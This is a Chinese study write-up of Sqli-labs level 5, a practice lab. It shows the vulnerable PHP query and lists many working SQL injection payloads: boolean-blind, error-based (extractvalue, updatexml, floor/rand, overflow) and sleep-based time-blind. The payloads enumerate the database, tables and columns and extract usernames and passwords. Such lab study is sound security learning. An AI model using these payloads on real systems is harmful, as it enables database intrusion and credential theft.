重闯Sqli-labs关卡第二天(5关)

第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注，Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';    
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else 
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";    
echo '<font color= "#0000ff" font size= 3>';    

}
}
else { echo "Please input the ID as parameter with numeric value";}

1.探测PHP版本号
id=1' and left(version(),1)=5%23

2.探测数据库长度
id=1' and length(database())=8%23
探测数据库名(采用二分法)
id=1' and left(database(),1)>'a'%23
id=1' and left(database(),1)='s'%23
id=1' and left(database(),2)>'se'%23
id=1' and left(database(),2)='se'%23
id=1' and left(database(),3)>'sec'%23
id=1' and left(database(),3)='sec'%23
........
id=1' and left(database(),8)='security'%23


3.获取表名
substr() ascii()函数进行尝试
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
...
逐步测试得出表名为:email
想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23


4.获取urser中的列
利用regexp获取
通过regexp检测是否有us**列
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
通过regexp检测而是否有username开头的列
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

5.获取列中的内容
利用ord()和mid()函数获取users表的内容
IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
CAST()把一个字段转成另一个字段
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
最后爆出 Dumb

第二种方法:报错注入

id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

数值类型超出范围进行报错注入
id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

利用bigint溢出进行报错注入
id=1' union select (!(select * from (select user())x) - ~0),2,3--+

xpath函数报错注入
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

利用数据的重复性
id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

第三种：sleep延迟注入

sleep注入是另一种形式的盲注，与bool注入不同,sleep注入没有任何报错信息输出，页面返回不管对或者错都是一种状态，
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确，只能通过构造sleep注入的SQL测试语句，根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

' and sleep(5)--+
爆数据库长度
' and if(length(database())=8,sleep(5),1)--+
爆数据库名
' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
OR
' and if(left(database(),1)='s',sleep(5),1)--+
爆判断数据库表数量
' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
爆表名
' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
OR
' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
判断字段数量
' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
判断字段名
' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
爆字段下的数据
' and left((select password from users limit 0,1),1)='D' --+

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html